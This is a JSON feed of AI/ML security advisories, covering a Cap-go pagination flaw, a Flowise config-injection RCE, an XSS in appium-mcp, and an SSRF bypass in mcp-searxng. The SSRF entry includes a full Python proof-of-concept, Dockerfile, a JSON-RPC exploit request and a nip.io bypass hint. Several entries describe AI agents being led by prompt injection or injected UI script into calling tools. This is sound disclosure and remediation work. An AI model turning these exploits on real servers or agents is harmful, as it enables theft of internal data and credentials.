{
    "version": "https://jsonfeed.org/version/1.1",
    "title": "VulnWatch — AI Security Tracker",
    "description": "Curated AI/ML security vulnerabilities, advisories, and breach disclosures.",
    "home_page_url": "https://vulnwatch.ai",
    "feed_url": "https://vulnwatch.ai/feed/json",
    "language": "en-US",
    "authors": [{
            "name": "VulnWatch"
        }
    ],
    "items": [{
            "id": "https://vulnwatch.ai/019ee631-402c-71f7-b165-a658ed1c64cc",
            "title": "CVE-2026-56307: Cap-go before 12.128.12 contains a broken cursor pagination vulnerability in the \/private\/devices endpoint on the Cloudf",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56307",
            "content_html": "Cap-go before 12.128.12 contains a broken cursor pagination vulnerability in the \/private\/devices endpoint on the Cloudflare\/workerd path that allows authenticated attackers to cause duplicate-page loops and make later rows unreachable. Attackers with app.read_devices access can exploit non-advancing cursor filters to trigger infinite pagination loops, prevent dataset traversal, and cause repeated processing in device-management workflows.",
            "summary": "Cap-go before 12.128.12 contains a broken cursor pagination vulnerability in the \/private\/devices endpoint on the Cloudflare\/workerd path that allows authenticated attackers to cause duplicate-page loops and make later rows unreachable. Attackers with app.read_devices access can exploit non-advancing cursor filters to trigger infinite pagination loops, prevent dataset traversal, and cause repeated processing in device-management workflows.",
            "date_published": "2026-06-20T18:00:47+00:00",
            "date_modified": "2026-06-20T18:00:47+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee631-4020-736b-a066-75b9525e4a6b",
            "title": "CVE-2024-58351: Flowise before 2.1.4 allows configuration to be injected into the Chainflow during execution via the overrideConfig opti",
            "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58351",
            "content_html": "Flowise before 2.1.4 allows configuration to be injected into the Chainflow during execution via the overrideConfig option, supported in both the frontend web integration and the backend Prediction API. Because this feature is enabled by default with no allow-list of permitted variables and relies on vm2 for sandboxing, an attacker can abuse it to achieve remote code execution and sandbox escape, denial of service by crashing the server, server-side request forgery, prompt injection, and server variable and data exfiltration. These issues are self-targeted and do not persist to other users.",
            "summary": "Flowise before 2.1.4 allows configuration to be injected into the Chainflow during execution via the overrideConfig option, supported in both the frontend web integration and the backend Prediction API. Because this feature is enabled by default with no allow-list of permitted variables and relies on vm2 for sandboxing, an attacker can abuse it to achieve remote code execution and sandbox escape, denial of service by crashing the server, server-side request forgery, prompt injection, and server variable and data exfiltration. These issues are self-targeted and do not persist to other users.",
            "date_published": "2026-06-20T18:00:50+00:00",
            "date_modified": "2026-06-20T18:00:50+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-b8ed-7364-b8fc-c842b8ae8b55",
            "title": "appium-mcp: Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI)",
            "url": "https://github.com/advisories/GHSA-x975-rgx4-5fh4",
            "content_html": "## Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI)\n\n### Summary\n\n`appium-mcp`'s `createLocatorGeneratorUI` function interpolates attacker-controlled element attributes \u2014 `text`, `content-desc`, `resource-id`, and locator selector values \u2014 directly into an HTML template literal without any HTML or JavaScript context escaping. An attacker who controls the UI of the app under test can inject arbitrary HTML and JavaScript into the MCP UI resource returned by the `generate_locators` tool. When a victim's MCP client renders this resource, the injected script executes and can invoke arbitrary MCP tools via `window.parent.postMessage`, leading to unauthorized MCP tool execution such as taking screenshots, reading page source, or any other registered capability.\n\n### Details\n\nThe vulnerability is a stored\/reflected cross-site scripting (XSS) issue in the MCP UI generation pipeline.\n\n**Vulnerable sink \u2014 `src\/ui\/mcp-ui-utils.ts:730\u2013740`:**\n\n```ts\n${element.text ? `Text: ${element.text}` : ''}\n${element.contentDesc ? `Content Desc: ${element.contentDesc}` : ''}\n${element.resourceId ? `Resource ID: ${element.resourceId}` : ''}\n${selector}\nTest\n```\n\nNone of `element.text`, `element.contentDesc`, `element.resourceId`, `selector`, or `strategy` are HTML-escaped before insertion. The `onclick` attribute additionally embeds `selector` and `strategy` into an inline JavaScript string using only a backtick-escape that is insufficient to prevent breakout via HTML event attribute syntax or single-quote injection.\n\nBy contrast, `createPageSourceInspectorUI` at `src\/ui\/mcp-ui-utils.ts:911\u2013916` does apply escaping to the page source, confirming that the protection gap in `createLocatorGeneratorUI` is an oversight, not a design choice.\n\n**Complete data flow (source \u2192 sink):**\n\n1. `src\/tools\/test-generation\/locators.ts:57` \u2014 `getPageSource(driver)` reads the page source XML from an active Appium session; the connected app is fully attacker-controlled.\n2. `src\/tools\/test-generation\/locators.ts:72` \u2014 the raw page source is passed to `generateAllElementLocators`.\n3. `src\/locators\/source-parsing.ts:108` \u2014 XML attribute values undergo only newline replacement (`attr.value.replace(\/(\\n)\/gm, '\\n')`); HTML entities such as `&lt;` are decoded into raw `",
            "summary": "## Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI)\n\n### Summary\n\n`appium-mcp`'s `createLocatorGeneratorUI` function interpolates attacker-controlled element attributes \u2014 `text`, `content-desc`, `resource-id`, and locator selector values \u2014 directly into an HTML template literal without any HTML or JavaScript context escaping. An attacker who controls the UI of the app under test can inject arbitrary HTML and JavaScript into the MCP UI resource returned by the `generate_locators` tool. When a victim's MCP client renders this resource, the injected script executes and can invoke arbitrary MCP tools via `window.parent.postMessage`, leading to unauthorized MCP tool execution such as taking screenshots, reading page source, or any other registered capability.\n\n### Details\n\nThe vulnerability is a stored\/reflected cross-site scripting (XSS) issue in the MCP UI generation pipeline.\n\n**Vulnerable sink \u2014 `src\/ui\/mcp-ui-utils.ts:730\u2013740`:**\n\n```ts\n${element.text ? `Text: ${element.text}` : ''}\n${element.contentDesc ? `Content Desc: ${element.contentDesc}` : ''}\n${element.resourceId ? `Resource ID: ${element.resourceId}` : ''}\n${selector}\nTest\n```\n\nNone of `element.text`, `element.contentDesc`, `element.resourceId`, `selector`, or `strategy` are HTML-escaped before insertion. The `onclick` attribute additionally embeds `selector` and `strategy` into an inline JavaScript string using only a backtick-escape that is insufficient to prevent breakout via HTML event attribute syntax or single-quote injection.\n\nBy contrast, `createPageSourceInspectorUI` at `src\/ui\/mcp-ui-utils.ts:911\u2013916` does apply escaping to the page source, confirming that the protection gap in `createLocatorGeneratorUI` is an oversight, not a design choice.\n\n**Complete data flow (source \u2192 sink):**\n\n1. `src\/tools\/test-generation\/locators.ts:57` \u2014 `getPageSource(driver)` reads the page source XML from an active Appium session; the connected app is fully attacker-controlled.\n2. `src\/tools\/test-generation\/locators.ts:72` \u2014 the raw page source is passed to `generateAllElementLocators`.\n3. `src\/locators\/source-parsing.ts:108` \u2014 XML attribute values undergo only newline replacement (`attr.value.replace(\/(\\n)\/gm, '\\n')`); HTML entities such as `&lt;` are decoded into raw `",
            "date_published": "2026-06-20T01:00:04+00:00",
            "date_modified": "2026-06-20T01:00:04+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-b8fc-71cc-a23f-2a0de8360533",
            "title": " SearXNG MCP Server: DNS-resolved Private Hostname SSRF in `web_url_read`",
            "url": "https://github.com/advisories/GHSA-mrvx-jmjw-vggc",
            "content_html": "## DNS-resolved Private Hostname SSRF in `web_url_read`\n\n### Summary\n\nThe `web_url_read` MCP tool in `mcp-searxng` is vulnerable to Server-Side Request Forgery (SSRF) via DNS rebinding bypass. The `assertUrlAllowed()` function at `src\/url-reader.ts:85-93` validates only the syntactic hostname string against a private IP\/hostname blocklist without performing DNS resolution. An attacker who controls a domain that resolves to a private or loopback IP address (e.g., via a wildcard DNS service like `nip.io`, or a custom DNS entry) can bypass the security check and cause the MCP server to read arbitrary internal HTTP services reachable from the server host. This allows exfiltration of sensitive data from internal services with no authentication required in the default HTTP configuration.\n\n### Details\n\nThe vulnerable code is in `src\/url-reader.ts`, where the `assertUrlAllowed()` function performs a hostname-only string comparison:\n\n```ts\n\/\/ src\/url-reader.ts:85-93\nfunction assertUrlAllowed(url: URL): void {\n  const security = getHttpSecurityConfig();\n  if (security.allowPrivateUrls) {\n    return;\n  }\n\n  if (isPrivateHostname(url.hostname) || isPrivateIpv4(url.hostname) || isPrivateIPv6(url.hostname)) {\n    throw createURLSecurityPolicyError(url.toString());\n  }\n}\n```\n\nThis function checks whether `url.hostname` lexically matches a private address pattern but never resolves the hostname via DNS. The OS-level DNS resolution happens later, inside `undiciFetch()` at `src\/url-reader.ts:367`, after the security gate has already passed.\n\nThe full data flow is:\n\n1. `src\/index.ts:37-49` \u2014 `isWebUrlReadArgs()` accepts `args.url` as any string value with no URL policy enforcement.\n2. `src\/index.ts:226-240` \u2014 `web_url_read` passes `args.url` directly to `fetchAndConvertToMarkdown()`.\n3. `src\/url-reader.ts:307-313` \u2014 URL is parsed and `assertUrlAllowed(parsedUrl)` is called (string check only).\n4. `src\/url-reader.ts:85-93` \u2014 `assertUrlAllowed()` checks `url.hostname` as a string; no DNS resolution is performed.\n5. `src\/url-reader.ts:367` \u2014 `undiciFetch(currentUrl.toString(), currentRequestOptions)` resolves the hostname via OS DNS and connects to the resolved IP, which may be a private or loopback address.\n\nIn the default HTTP mode (`MCP_HTTP_HARDEN` unset), `requireAuth` is `false` (see `src\/http-security.ts:30-41`), meaning no authentication is required to invoke `web_url_read`.\n\nThe recommended remediation is to resolve the hostname via `node:dns\/promises` inside `assertUrlAllowed()` before the fetch is issued:\n\n```diff\n--- a\/src\/url-reader.ts\n+++ b\/src\/url-reader.ts\n@@\n import { isIP } from \"node:net\";\n+import { lookup } from \"node:dns\/promises\";\n@@\n-function assertUrlAllowed(url: URL): void {\n+async function assertUrlAllowed(url: URL): Promise {\n   const security = getHttpSecurityConfig();\n   if (security.allowPrivateUrls) {\n     return;\n   }\n+  if (![\"http:\", \"https:\"].includes(url.protocol)) {\n+    throw createURLSecurityPolicyError(url.toString());\n+  }\n\n   if (isPrivateHostname(url.hostname) || isPrivateIpv4(url.hostname) || isPrivateIPv6(url.hostname)) {\n     throw createURLSecurityPolicyError(url.toString());\n   }\n+  if (isIP(url.hostname) === 0) {\n+    const answers = await lookup(url.hostname, { all: true, verbatim: true });\n+    if (answers.some(({ address }) => isPrivateIpv4(address) || isPrivateIPv6(address))) {\n+      throw createURLSecurityPolicyError(url.toString());\n+    }\n+  }\n }\n@@\n-  assertUrlAllowed(parsedUrl);\n+  await assertUrlAllowed(parsedUrl);\n@@\n-        assertUrlAllowed(nextUrl);\n+        await assertUrlAllowed(nextUrl);\n```\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed on the test machine.\n- The `mcp-searxng` repository cloned locally (version 1.6.0 \/ commit `90423e5`).\n\n**Build the container:**\n\n```bash\ndocker build -t mcp-searxng-ssrf-001 -f vuln-001\/Dockerfile .\n```\n\n**Run the PoC:**\n\n```bash\ndocker run --rm \\\n  --add-host ssrf-target.internal:127.0.0.1 \\\n  -v $(pwd)\/vuln-001\/poc.py:\/poc.py \\\n  mcp-searxng-ssrf-001 \\\n  python3 \/poc.py\n```\n\nThe `--add-host` flag maps `ssrf-target.internal` to `127.0.0.1` inside the container, simulating a DNS-resolved private hostname (equivalent to using a wildcard DNS service like `127.0.0.1.nip.io` in a real attack).\n\n**What the PoC does:**\n\n1. Starts a Python HTTP server on `127.0.0.1:9796` returning the sentinel value `INTERNAL-SECRET-OK-SSRF-PROOF`.\n2. Starts the MCP server in STDIO mode.\n3. **Test 1:** Sends a `tools\/call` request for `http:\/\/127.0.0.1:9796\/` \u2014 this is correctly **blocked** by `assertUrlAllowed()`.\n4. **Test 2:** Sends a `tools\/call` request for `http:\/\/ssrf-target.internal:9796\/` \u2014 this **bypasses** the check because the hostname is syntactically public, but resolves to `127.0.0.1` at fetch time.\n\n**Expected output (confirming SSRF):**\n\n```\n[+] BLOCKED  \u2014 assertUrlAllowed() correctly rejected 127.0.0.1\n[!!!] SSRF BYPASS CONFIRMED\n[!!!] Sentinel 'INTERNAL-SECRET-OK-SSRF-PROOF' found in MCP tool response\n    Raw tool response text: 'INTERNAL-SECRET-OK-SSRF-PROOF'\n    URL: http:\/\/ssrf-target.internal:9796\/ (resolves to 127.0.0.1 via \/etc\/hosts)\n    assertUrlAllowed() sees hostname='ssrf-target.internal' \u2192 passes string check\n    undiciFetch() resolves DNS \u2192 127.0.0.1 \u2192 reads internal service\n[RESULT] PASS\n```\n\nThe same bypass can be achieved in production using any public DNS wildcard service that resolves to a private IP (e.g., `http:\/\/127.0.0.1.nip.io:PORT\/`), or by controlling a custom DNS record.\n\n**MCP JSON-RPC request (STDIO mode):**\n\n```json\n{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools\/call\",\"params\":{\"name\":\"web_url_read\",\"arguments\":{\"url\":\"http:\/\/ssrf-target.internal:9796\/\",\"maxLength\":200}}}\n```\n\n### Impact\n\nThis is a Server-Side Request Forgery (SSRF) vulnerability. An attacker who can send requests to the MCP server \u2014 or who can influence an AI agent connected to the server to call `web_url_read` with an attacker-controlled URL \u2014 can:\n\n- **Read internal HTTP services** reachable from the MCP server host (e.g., cloud metadata endpoints at `169.254.169.254`, internal APIs, admin dashboards, databases with HTTP interfaces).\n- **Exfiltrate sensitive data** such as cloud provider credentials, internal service tokens, or configuration secrets.\n- **Enumerate internal network topology** by probing responses from different internal hosts and ports.\n\nIn the default HTTP deployment configuration (`MCP_HTTP_HARDEN` unset), authentication is disabled (`requireAuth: false`), so any unauthenticated network client can exploit this vulnerability. In STDIO mode, exploitation requires the AI agent connected to the MCP server to be tricked into providing an attacker-controlled URL, which is feasible via prompt injection or malicious content fetched from the web.\n\nThe vulnerability has a CVSS v3.1 score of **7.1 (High)** and affects all users running `mcp-searxng` version 1.6.0 without setting `MCP_HTTP_ALLOW_PRIVATE_URLS=false` explicitly overriding to true (the insecure opt-in) or applying a patched version.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:20-slim\n\n# Install Python3 for the PoC script\nRUN apt-get update && apt-get install -y --no-install-recommends python3 && rm -rf \/var\/lib\/apt\/lists\/*\n\nWORKDIR \/app\n\n# Copy the entire repository\nCOPY . \/app\/\n\n# Install dependencies and compile TypeScript\nRUN npm ci && npm run build\n\n# Verify the build output exists\nRUN test -f dist\/index.js || (echo \"ERROR: dist\/index.js not found after build\" && exit 1)\n\n# Default: drop into a shell for manual inspection; overridden by docker run\nCMD [\"node\", \"dist\/index.js\"]\n```\n\n#### `poc.py`\n\n```python\n#!\/usr\/bin\/env python3\n\"\"\"\nPoC for VULN-001: DNS-resolved Private Hostname SSRF in web_url_read\nCWE-918 | CVSS 7.1\n\nThe assertUrlAllowed() function (src\/url-reader.ts:85-93) checks only the\nurl.hostname string against private IP\/hostname patterns without performing DNS\nresolution.  A hostname that is syntactically public but resolves to a private\nor loopback address at fetch time bypasses the check.\n\nAttack flow:\n  1. Attacker provides URL with a hostname that passes the string check.\n  2. assertUrlAllowed(parsedUrl) at line 313 passes (no DNS resolution).\n  3. undiciFetch() at line 367 resolves the hostname via OS DNS, gets 127.0.0.1,\n     and connects to the internal service.\n\nRequirements:\n  - Container must be started with --add-host ssrf-target.internal:127.0.0.1\n    so that the bypass hostname resolves to the loopback address via \/etc\/hosts.\n  - Node.js MCP server binary at \/app\/dist\/index.js\n\nUsage:\n  python3 poc.py\n  Exit 0 = PASS (bypass confirmed), non-zero = FAIL\n\"\"\"\n\nimport http.server\nimport json\nimport os\nimport queue\nimport subprocess\nimport sys\nimport threading\nimport time\n\n# \u2500\u2500 constants \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nSENTINEL       = \"INTERNAL-SECRET-OK-SSRF-PROOF\"\nINTERNAL_PORT  = 9796\nBYPASS_HOST    = \"ssrf-target.internal\"   # \/etc\/hosts: 127.0.0.1 (via --add-host)\nMCP_BINARY     = \"\/app\/dist\/cli.js\"\nTIMEOUT_SEC    = 20\n\n\n# \u2500\u2500 internal HTTP server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nclass SentinelHandler(http.server.BaseHTTPRequestHandler):\n    \"\"\"Simulates an internal service that the SSRF attack reads.\"\"\"\n\n    def _send_sentinel(self, with_body=True):\n        body = (SENTINEL + \"\\n\").encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text\/plain\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        if with_body:\n            self.wfile.write(body)\n\n    def do_GET(self):\n        self._send_sentinel(with_body=True)\n\n    def do_HEAD(self):\n        self._send_sentinel(with_body=False)\n\n    def log_message(self, fmt, *args):   # silence access log\n        pass\n\n\ndef start_internal_server():\n    server = http.server.HTTPServer((\"127.0.0.1\", INTERNAL_PORT), SentinelHandler)\n    threading.Thread(target=server.serve_forever, daemon=True).start()\n    print(f\"[+] Internal HTTP server listening on 127.0.0.1:{INTERNAL_PORT}\"\n          f'  -> sentinel: \"{SENTINEL}\"')\n    return server\n\n\n# \u2500\u2500 MCP communication helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef start_mcp_server():\n    \"\"\"Spawn the MCP server in STDIO mode.\"\"\"\n    env = os.environ.copy()\n    env.update({\n        \"NODE_ENV\": \"production\",\n        # SEARXNG_URL is intentionally unset; web_url_read does not need it.\n    })\n    proc = subprocess.Popen(\n        [\"node\", MCP_BINARY],\n        stdin=subprocess.PIPE,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE,\n        env=env,\n    )\n    return proc\n\n\ndef drain_stderr(proc):\n    \"\"\"Drain stderr in a background thread to prevent blocking.\"\"\"\n    def _reader():\n        for _ in proc.stderr:\n            pass\n    threading.Thread(target=_reader, daemon=True).start()\n\n\ndef attach_stdout_reader(proc):\n    \"\"\"Return a queue that receives decoded JSON-RPC messages from stdout.\"\"\"\n    q = queue.Queue()\n\n    def _reader():\n        for raw in proc.stdout:\n            line = raw.strip()\n            if not line:\n                continue\n            try:\n                q.put(json.loads(line.decode()))\n            except json.JSONDecodeError:\n                pass   # skip non-JSON output\n\n    threading.Thread(target=_reader, daemon=True).start()\n    return q\n\n\ndef send_rpc(proc, method, params=None, rpc_id=None):\n    \"\"\"Write one JSON-RPC 2.0 message to the MCP server's stdin.\"\"\"\n    msg = {\"jsonrpc\": \"2.0\", \"method\": method}\n    if rpc_id is not None:\n        msg[\"id\"] = rpc_id\n    if params is not None:\n        msg[\"params\"] = params\n    proc.stdin.write((json.dumps(msg) + \"\\n\").encode())\n    proc.stdin.flush()\n\n\ndef expect_response(q, target_id, timeout=TIMEOUT_SEC):\n    \"\"\"Wait for a JSON-RPC response matching target_id.\"\"\"\n    deadline = time.time() + timeout\n    while time.time() < deadline:\n        try:\n            msg = q.get(timeout=1.0)\n            if msg.get(\"id\") == target_id:\n                return msg\n        except queue.Empty:\n            continue\n    return None\n\n\ndef initialize_mcp(proc, q):\n    \"\"\"Perform the MCP initialize \/ initialized handshake.\"\"\"\n    send_rpc(proc, \"initialize\", {\n        \"protocolVersion\": \"2024-11-05\",\n        \"capabilities\": {},\n        \"clientInfo\": {\"name\": \"ssrf-poc\", \"version\": \"1.0\"},\n    }, rpc_id=1)\n\n    resp = expect_response(q, target_id=1)\n    if resp is None or \"result\" not in resp:\n        raise RuntimeError(f\"MCP initialize timed out or failed: {resp}\")\n\n    proto = resp[\"result\"].get(\"protocolVersion\", \"?\")\n    print(f\"[+] MCP handshake complete (protocol={proto})\")\n\n    # Acknowledge initialization\n    send_rpc(proc, \"notifications\/initialized\")\n    time.sleep(0.15)\n\n\ndef call_url_read(proc, q, url, rpc_id):\n    \"\"\"Invoke the web_url_read tool and return the raw JSON-RPC response.\"\"\"\n    send_rpc(proc, \"tools\/call\", {\n        \"name\": \"web_url_read\",\n        \"arguments\": {\"url\": url, \"maxLength\": 600},\n    }, rpc_id=rpc_id)\n    return expect_response(q, target_id=rpc_id)\n\n\n# \u2500\u2500 result helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef extract_text(resp):\n    \"\"\"Return the text content from a tools\/call result, or None.\"\"\"\n    if resp is None:\n        return None\n    if \"error\" in resp:\n        return None\n    try:\n        return resp[\"result\"][\"content\"][0][\"text\"]\n    except (KeyError, IndexError, TypeError):\n        return None\n\n\ndef is_blocked(resp):\n    \"\"\"Return True when the response indicates a security-policy block.\"\"\"\n    if resp is None:\n        return False\n    # MCP SDK may surface tool errors as JSON-RPC errors OR as isError results\n    if \"error\" in resp:\n        return True\n    text = extract_text(resp) or \"\"\n    if resp.get(\"result\", {}).get(\"isError\"):\n        return True\n    if \"URLSecurityPolicy\" in text or \"not allowed\" in text.lower():\n        return True\n    return False\n\n\n# \u2500\u2500 main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main():\n    print(\"=\" * 62)\n    print(\"VULN-001  DNS-resolved Private Hostname SSRF in web_url_read\")\n    print(\"=\" * 62)\n\n    # 1. Verify \/etc\/hosts entry is present\n    bypass_url = f\"http:\/\/{BYPASS_HOST}:{INTERNAL_PORT}\/\"\n    with open(\"\/etc\/hosts\") as f:\n        hosts_content = f.read()\n    if BYPASS_HOST not in hosts_content:\n        print(f\"[-] FATAL: '{BYPASS_HOST}' not in \/etc\/hosts.\")\n        print(\"    Re-run with: --add-host ssrf-target.internal:127.0.0.1\")\n        sys.exit(3)\n    print(f\"[+] \/etc\/hosts contains entry for {BYPASS_HOST}\")\n\n    # 2. Start internal HTTP service\n    start_internal_server()\n    time.sleep(0.2)\n\n    # 3. Start MCP server\n    print(f\"[*] Spawning MCP server: node {MCP_BINARY}\")\n    proc = start_mcp_server()\n    drain_stderr(proc)\n    msg_queue = attach_stdout_reader(proc)\n    time.sleep(1.2)   # allow server startup\n\n    if proc.poll() is not None:\n        print(f\"[-] MCP server exited early (rc={proc.returncode})\")\n        sys.exit(4)\n    print(f\"[+] MCP server running (PID={proc.pid})\")\n\n    try:\n        # 4. MCP handshake\n        print(\"[*] MCP initialize ...\")\n        initialize_mcp(proc, msg_queue)\n\n        # \u2500\u2500 Test 1: direct private IP should be BLOCKED \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        blocked_target = f\"http:\/\/127.0.0.1:{INTERNAL_PORT}\/\"\n        print(f\"\\n[*] Test 1 \u2014 direct private IP (EXPECT: BLOCKED)\")\n        print(f\"    URL: {blocked_target}\")\n        resp1 = call_url_read(proc, msg_queue, blocked_target, rpc_id=2)\n        text1 = extract_text(resp1) or \"\"\n\n        if is_blocked(resp1):\n            print(f\"[+] BLOCKED  \u2014 assertUrlAllowed() correctly rejected 127.0.0.1\")\n        else:\n            print(f\"[!] WARNING \u2014 direct 127.0.0.1 was NOT blocked (text={text1[:120]})\")\n\n        # \u2500\u2500 Test 2: hostname bypass SHOULD succeed \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n        print(f\"\\n[*] Test 2 \u2014 hostname bypass (EXPECT: PASS \/ SSRF)\")\n        print(f\"    URL: {bypass_url}\")\n        print(f\"    assertUrlAllowed() sees hostname='{BYPASS_HOST}' \u2192 passes string check\")\n        print(f\"    undiciFetch() resolves DNS \u2192 127.0.0.1 \u2192 reads internal service\")\n        resp2 = call_url_read(proc, msg_queue, bypass_url, rpc_id=3)\n        text2 = extract_text(resp2) or \"\"\n\n        print(f\"\\n    Raw tool response text (first 400 chars):\")\n        print(f\"    {repr(text2[:400])}\")\n\n        if SENTINEL in text2:\n            print(f\"\\n[!!!] SSRF BYPASS CONFIRMED\")\n            print(f\"[!!!] Sentinel '{SENTINEL}' found in MCP tool response\")\n            print(f\"\\n[RESULT] PASS\")\n            sys.exit(0)\n        elif is_blocked(resp2):\n            print(f\"\\n[-] Bypass request was also BLOCKED (unexpected).\")\n            print(f\"    resp2={json.dumps(resp2)[:300]}\")\n            print(f\"\\n[RESULT] FAIL \u2014 bypass was blocked\")\n            sys.exit(1)\n        else:\n            print(f\"\\n[-] Response received but sentinel not found.\")\n            print(f\"    resp2={json.dumps(resp2)[:400]}\")\n            print(f\"\\n[RESULT] FAIL \u2014 unexpected response\")\n            sys.exit(1)\n\n    finally:\n        proc.terminate()\n\n\nif __name__ == \"__main__\":\n    main()\n```",
            "summary": "## DNS-resolved Private Hostname SSRF in `web_url_read`\n\n### Summary\n\nThe `web_url_read` MCP tool in `mcp-searxng` is vulnerable to Server-Side Request Forgery (SSRF) via DNS rebinding bypass. The `assertUrlAllowed()` function at `src\/url-reader.ts:85-93` validates only the syntactic hostname string against a private IP\/hostname blocklist without performing DNS resolution. An attacker who controls a domain that resolves to a private or loopback IP address (e.g., via a wildcard DNS service like `nip.io`, or a custom DNS entry) can bypass the security check and cause the MCP server to read arbitrary internal HTTP services reachable from the server host. This allows exfiltration of sensitive data from internal services with no authentication required in the default HTTP configuration.\n\n### Details\n\nThe vulnerable code is in `src\/url-reader.ts`, where the `assertUrlAllowed()` function performs a hostname-only string comparison:\n\n```ts\n\/\/ src\/url-reader.ts:85-93\nfunction assertUrlAllowed(url: URL): void {\n  const security = getHttpSecurityConfig();\n  if (security.allowPrivateUrls) {\n    return;\n  }\n\n  if (isPrivateHostname(url.hostname) || isPrivateIpv4(url.hostname) || isPrivateIPv6(url.hostname)) {\n    throw createURLSecurityPolicyError(url.toString());\n  }\n}\n```\n\nThis function checks whether `url.hostname` lexically matches a private address pattern but never resolves the hostname via DNS. The OS-level DNS resolution happens later, inside `undiciFetch()` at `src\/url-reader.ts:367`, after the security gate has already passed.\n\nThe full data flow is:\n\n1. `src\/index.ts:37-49` \u2014 `isWebUrlReadArgs()` accepts `args.url` as any string value with no URL policy enforcement.\n2. `src\/index.ts:226-240` \u2014 `web_url_read` passes `args.url` directly to `fetchAndConvertToMarkdown()`.\n3. `src\/url-reader.ts:307-313` \u2014 URL is parsed and `assertUrlAllowed(parsedUrl)` is called (string check only).\n4. `src\/url-reader.ts:85-93` \u2014 `assertUrlAllowed()` checks `url.hostname` as a string; no DNS resolution is performed.\n5. `src\/url-reader.ts:367` \u2014 `undiciFetch(currentUrl.toString(), currentRequestOptions)` resolves the hostname via OS DNS and connects to the resolved IP, which may be a private or loopback address.\n\nIn the default HTTP mode (`MCP_HTTP_HARDEN` unset), `requireAuth` is `false` (see `src\/http-security.ts:30-41`), meaning no authentication is required to invoke `web_url_read`.\n\nThe recommended remediation is to resolve the hostname via `node:dns\/promises` inside `assertUrlAllowed()` before the fetch is issued:\n\n```diff\n--- a\/src\/url-reader.ts\n+++ b\/src\/url-reader.ts\n@@\n import { isIP } from \"node:net\";\n+import { lookup } from \"node:dns\/promises\";\n@@\n-function assertUrlAllowed(url: URL): void {\n+async function assertUrlAllowed(url: URL): Promise {\n   const security = getHttpSecurityConfig();\n   if (security.allowPrivateUrls) {\n     return;\n   }\n+  if (![\"http:\", \"https:\"].includes(url.protocol)) {\n+    throw createURLSecurityPolicyError(url.toString());\n+  }\n\n   if (isPrivateHostname(url.hostname) || isPrivateIpv4(url.hostname) || isPrivateIPv6(url.hostname)) {\n     throw createURLSecurityPolicyError(url.toString());\n   }\n+  if (isIP(url.hostname) === 0) {\n+    const answers = await lookup(url.hostname, { all: true, verbatim: true });\n+    if (answers.some(({ address }) => isPrivateIpv4(address) || isPrivateIPv6(address))) {\n+      throw createURLSecurityPolicyError(url.toString());\n+    }\n+  }\n }\n@@\n-  assertUrlAllowed(parsedUrl);\n+  await assertUrlAllowed(parsedUrl);\n@@\n-        assertUrlAllowed(nextUrl);\n+        await 